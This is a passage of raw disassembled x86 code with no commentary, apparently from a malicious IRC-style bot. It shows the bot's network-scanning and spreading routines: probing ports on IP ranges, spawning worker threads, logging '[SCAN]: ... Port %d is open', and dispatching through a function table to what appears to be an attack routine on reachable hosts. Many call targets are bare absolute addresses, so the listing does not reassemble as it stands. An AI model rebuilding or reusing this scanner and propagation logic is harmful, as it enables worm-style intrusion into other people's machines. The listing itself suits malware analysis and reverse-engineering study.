		push	ebx
		test	ecx, ecx
		push	offset byte_448F30
		mov	ecx, offset dword_449958
		setnz	bl
		call	sub_4014DD
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D8075
		call	sub_401857
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_445428[eax*4]
		inc	ecx
		mov	dword_445428[eax*4], ecx
		mov	al, 1
		retn
sub_4236F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401E10j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50FAA8
		call	near ptr byte_5FC011
		nop
		mov	eax, offset dword_50FAA8
		add	esp, 2Ch
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423820	proc near		; CODE XREF: sub_401F55j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50DB50[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	dword_50DB50[esi*8], eax
		pop	esi
		retn
sub_423820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423860	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423892
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423892:				; CODE XREF: sub_423860+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_511AC8
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4238CA
		call	esi
		mov	[esp+1Ch+var_8], eax


loc_4238CA:				; CODE XREF: sub_423860+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4238D6
		call	esi
		mov	[esp+1Ch+var_C], eax


loc_4238D6:				; CODE XREF: sub_423860+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4238E2
		call	esi
		mov	[esp+1Ch+var_10], eax


loc_4238E2:				; CODE XREF: sub_423860+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4238EC
		call	esi


loc_4238EC:				; CODE XREF: sub_423860+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50DB50[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423860	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423950	proc near		; CODE XREF: sub_401E56j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42397E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42397E:				; CODE XREF: sub_423950+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423950	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423A40:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, dword_511C38
		push	esi
		push	edi
		push	2649h
		call	ebp
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp
		mov	[esp+26h], ax
		call	near ptr 77C371D3h
		nop
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A37
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423B69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423C68
; ---------------------------------------------------------------------------


loc_423B69:				; CODE XREF: ___:00423B5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		call	near ptr 71AB2C69h
		nop
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423BC2
		call	near ptr 71AB94DCh
		nop
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	near ptr byte_5FC011
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423BC2:				; CODE XREF: ___:00423B87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423C13
		mov	edi, dword_511C64


loc_423BEA:				; CODE XREF: ___:00423C11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi
		test	eax, eax
		jl	short loc_423C42
		cmp	[esp+0FEh], bp
		jnz	short loc_423BEA


loc_423C13:				; CODE XREF: ___:00423BE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423C63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C42:				; CODE XREF: ___:00423C07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C63:				; CODE XREF: ___:00423C23j
		push	offset dword_4456E4


loc_423C68:				; CODE XREF: ___:00423B64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423D10:				; CODE XREF: ___:loc_401F41j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		call	near ptr 27E0CD4h
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:44AF8Bh[eax*4]
		mov	eax, dword_44B18F[eax*4]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jz	loc_423FBE
		mov	ebx, dword_511C00


loc_423D8C:				; CODE XREF: ___:00423FB4j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423DA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423DAF
; ---------------------------------------------------------------------------


loc_423DA7:				; CODE XREF: ___:00423D96j
		call	sub_401F55
		add	esp, 4


loc_423DAF:				; CODE XREF: ___:00423DA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_511C88
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx
		lea	ecx, [esp+238h]
		push	ecx
		push	ebp
		call	ebx
		mov	edx, [esp+150h]
		mov	eax, [esp+14Ch]
		push	edx
		push	eax
		push	esi
		call	sub_401E56
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_423F9A
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423EBF
		push	offset dword_50FA90
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423E9F
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423E7A
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423E97
; ---------------------------------------------------------------------------


loc_423E7A:				; CODE XREF: ___:00423E56j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423E97:				; CODE XREF: ___:00423E78j
		call	sub_40152D
		add	esp, 10h


loc_423E9F:				; CODE XREF: ___:00423E4Bj
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50FA90
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423F9A
; ---------------------------------------------------------------------------


loc_423EBF:				; CODE XREF: ___:00423E13j
		push	esi
		call	edi
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx
		mov	eax, [esp+150h]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+200h]
		lea	edx, ds:4453F8h[ecx*4]
		push	edx
		push	eax
		call	ebx
		mov	al, [esp+0B8h]
		add	esp, 10h
		test	al, al
		jz	short loc_423F0C
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423F19
; ---------------------------------------------------------------------------


loc_423F0C:				; CODE XREF: ___:00423EF8j
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423F19:				; CODE XREF: ___:00423F0Aj
		call	ebx
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_445424[edx*4]
		add	esp, 0BCh


loc_423F9A:				; CODE XREF: ___:00423E05j
					; ___:00423EBAj
		push	7D0h
		nop
		call	near ptr 284020Fh
		mov	eax, [ebp+204h]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jnz	loc_423D8C
		mov	esi, [esp+10h]


loc_423FBE:				; CODE XREF: ___:00423D80j
		push	esi
		call	sub_401E3D
		add	esp, 4
		push	0
		call	near ptr 2840343h
		nop
		nop
; ---------------------------------------------------------------------------
		db 0B0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_402284j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50DB50[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_40148D
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424101
		push	offset dword_50FA90
		nop
		call	near ptr 2790000h
		push	offset dword_50FA90
		nop
		call	near ptr 2790921h


loc_424101:				; CODE XREF: ___:004240E9j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_5118D8
		mov	esi, ebx
		mov	dword_50DB54[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, dword_511C00
		jb	loc_424230
		mov	edi, dword_51186C


loc_424132:				; CODE XREF: ___:0042422Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BEA
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F41
		push	0
		push	0
		mov	dword_44B18F[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_44B19F[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_44B19F[eax*4]
		test	ecx, ecx
		jz	short loc_4241F8
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42421E


loc_4241E7:				; CODE XREF: ___:004241F4j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_4241E7
		jmp	short loc_42421E
; ---------------------------------------------------------------------------


loc_4241F8:				; CODE XREF: ___:004241DAj
		nop
		call	near ptr 27C085Dh
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42421E:				; CODE XREF: ___:004241E5j
					; ___:004241F6j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424132


loc_424230:				; CODE XREF: ___:00424126j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42425E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_424291
; ---------------------------------------------------------------------------


loc_42425E:				; CODE XREF: ___:00424239j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50DB54[ecx*8], esi
		jnz	short loc_424291


loc_424273:				; CODE XREF: ___:00424288j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50DB54[edx*8], esi
		jz	short loc_424273
		mov	eax, [esp+12Ch]


loc_424291:				; CODE XREF: ___:0042425Cj
					; ___:00424271j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50DB50[ecx*8]
		push	ecx
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4242F2
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_40152D
		add	esp, 10h


loc_4242F2:				; CODE XREF: ___:004242CBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50DB54[eax*8], 0
		call	ebp
		push	3
		call	sub_40148D
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424334
		push	offset dword_50FA90
		nop
		call	near ptr 2790000h


loc_424334:				; CODE XREF: ___:00424327j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E3D
		add	esp, 4
		push	0
		nop
		call	near ptr 2840343h
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424410	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424410	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424430:				; CODE XREF: ___:004015EBj
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401843
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424480	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4244D2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4244D2:				; CODE XREF: sub_424480+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_424480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4021F8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424574
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424500	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245A0	proc near		; CODE XREF: sub_4016C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4245B3
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4245B3:				; CODE XREF: sub_4245A0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4245A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245E0	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_4245F7
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4245F7:				; CODE XREF: sub_4245E0+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		nop
		call	near ptr 77C2C407h
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424625
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424625:				; CODE XREF: sub_4245E0+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424654
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42466F
; ---------------------------------------------------------------------------


loc_424654:				; CODE XREF: sub_4245E0+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42466F:				; CODE XREF: sub_4245E0+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_4245E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_401B7Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_448F34
		lea	ecx, [esp+20h+var_8]
		call	sub_4021F8
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424715
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424715:				; CODE XREF: sub_4246D0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
